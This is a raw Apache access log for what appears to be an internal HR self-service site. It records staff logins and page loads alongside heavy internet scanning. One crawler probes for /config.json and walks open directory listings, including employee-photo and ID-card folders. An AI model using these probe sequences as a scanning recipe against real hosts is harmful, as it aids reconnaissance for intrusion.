192.168.11.127 - - [03/Sep/2025:09:30:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:09:30:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.127 - - [03/Sep/2025:09:30:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:09:30:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6351 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:09:30:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6351
100.64.0.1 - - [03/Sep/2025:09:35:36 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:09:35:36 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:09:36:23 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:09:36:23 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:09:39:34 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/iso-ir-85.so HTTP/1.1" 200 20576 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36"
100.64.0.1 - - [03/Sep/2025:09:39:34 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/iso-ir-85.so HTTP/1.1" 200 20576
100.64.0.1 - - [03/Sep/2025:09:43:59 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:09:43:59 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:09:48:09 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:09:48:09 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:09:55:38 +0800] "\x03" 501 203 "-" "-"
100.64.0.1 - - [03/Sep/2025:09:55:38 +0800] "\x03" 501 203
100.64.0.1 - - [03/Sep/2025:09:56:08 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:09:56:08 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:10:12:25 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:10:12:25 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:10:13:24 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:10:13:24 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:10:13:52 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:10:13:52 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:10:14:55 +0800] "GET /robots.txt HTTP/1.1" 404 208
100.64.0.1 - - [03/Sep/2025:10:14:55 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
100.64.0.1 - - [03/Sep/2025:10:15:18 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:10:15:18 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:10:16:48 +0800] "GET / HTTP/1.0" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity"
100.64.0.1 - - [03/Sep/2025:10:16:48 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:10:21:45 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/cp273.so HTTP/1.1" 200 20572 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36"
100.64.0.1 - - [03/Sep/2025:10:21:45 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/cp273.so HTTP/1.1" 200 20572
100.64.0.1 - - [03/Sep/2025:10:27:16 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36"
100.64.0.1 - - [03/Sep/2025:10:27:16 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:10:27:41 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36"
100.64.0.1 - - [03/Sep/2025:10:27:41 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:10:28:37 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36"
100.64.0.1 - - [03/Sep/2025:10:28:37 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:10:29:03 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:10:29:03 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36"
100.64.0.1 - - [03/Sep/2025:10:30:01 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [03/Sep/2025:10:30:01 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [03/Sep/2025:10:30:59 +0800] "SSH-2.0-Go" 501 212
100.64.0.1 - - [03/Sep/2025:10:30:59 +0800] "SSH-2.0-Go" 501 212 "-" "-"
100.64.0.1 - - [03/Sep/2025:10:31:27 +0800] "SSH-2.0-Go" 501 212
100.64.0.1 - - [03/Sep/2025:10:31:27 +0800] "SSH-2.0-Go" 501 212 "-" "-"
100.64.0.1 - - [03/Sep/2025:10:31:57 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [03/Sep/2025:10:31:57 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [03/Sep/2025:10:32:24 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [03/Sep/2025:10:32:24 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [03/Sep/2025:10:39:09 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:10:39:09 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:10:41:10 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:10:41:10 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:10:46:02 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)"
100.64.0.1 - - [03/Sep/2025:10:46:02 +0800] "GET /robots.txt HTTP/1.1" 404 208
100.64.0.1 - - [03/Sep/2025:10:46:02 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:10:46:02 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)"
100.64.0.1 - - [03/Sep/2025:10:53:55 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:10:53:55 +0800] "GET / HTTP/1.1" 200 439
192.168.12.33 - - [03/Sep/2025:10:54:32 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.12.33 - - [03/Sep/2025:10:54:32 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:10:54:33 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.12.33 - - [03/Sep/2025:10:54:33 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [03/Sep/2025:10:54:36 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:10:54:36 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
192.168.12.33 - - [03/Sep/2025:10:54:36 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.33 - - [03/Sep/2025:10:54:36 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:10:54:37 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.12.33 - - [03/Sep/2025:10:54:37 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:10:54:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:10:54:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
100.64.0.1 - - [03/Sep/2025:10:58:09 +0800] "GET / HTTP/1.0" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity"
100.64.0.1 - - [03/Sep/2025:10:58:09 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:10:58:40 +0800] "\x16\x03\x01\x014\x01" 501 208
100.64.0.1 - - [03/Sep/2025:10:58:40 +0800] "\x16\x03\x01\x014\x01" 501 208 "-" "-"
100.64.0.1 - - [03/Sep/2025:10:58:40 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:10:58:40 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
100.64.0.1 - - [03/Sep/2025:10:58:46 +0800] "GET /favicon.ico HTTP/1.1" 404 209
100.64.0.1 - - [03/Sep/2025:10:58:46 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:10:58:52 +0800] "GET /robots.txt HTTP/1.1" 404 208
100.64.0.1 - - [03/Sep/2025:10:58:52 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:10:58:52 +0800] "GET /sitemap.xml HTTP/1.1" 404 209
100.64.0.1 - - [03/Sep/2025:10:58:52 +0800] "GET /sitemap.xml HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:10:58:53 +0800] "GET /config.json HTTP/1.1" 404 209
100.64.0.1 - - [03/Sep/2025:10:58:53 +0800] "GET /config.json HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:10:58:53 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:10:58:53 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:10:58:53 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478
100.64.0.1 - - [03/Sep/2025:10:58:53 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:10:58:53 +0800] "GET /eHR/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:10:58:53 +0800] "GET /eHR/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:10:58:54 +0800] "GET /eHR1/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:10:58:54 +0800] "GET /eHR1/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:10:58:54 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:10:58:54 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:10:58:54 +0800] "GET /idcard/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:10:58:54 +0800] "GET /idcard/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:10:58:55 +0800] "GET /Apache2.2/ HTTP/1.1" 404 208
100.64.0.1 - - [03/Sep/2025:10:58:55 +0800] "GET /Apache2.2/ HTTP/1.1" 404 208 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:10:58:55 +0800] "GET /emphoto/ HTTP/1.1" 200 25014
100.64.0.1 - - [03/Sep/2025:10:58:55 +0800] "GET /emphoto/ HTTP/1.1" 200 25014 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:10:58:56 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:10:58:56 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:10:58:56 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478
100.64.0.1 - - [03/Sep/2025:10:58:56 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:10:58:56 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125
100.64.0.1 - - [03/Sep/2025:10:58:56 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:10:58:57 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:10:58:57 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889
100.64.0.1 - - [03/Sep/2025:10:58:57 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/ HTTP/1.1" 200 10845
100.64.0.1 - - [03/Sep/2025:10:58:57 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/ HTTP/1.1" 200 10845 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:00:00 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:11:00:00 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:11:01:09 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:11:01:09 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:11:01:09 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:11:01:09 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:11:01:24 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:11:01:24 +0800] "GET / HTTP/1.0" 200 439
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108
192.168.12.66 - - [03/Sep/2025:11:03:50 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.12.66 - - [03/Sep/2025:11:03:50 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
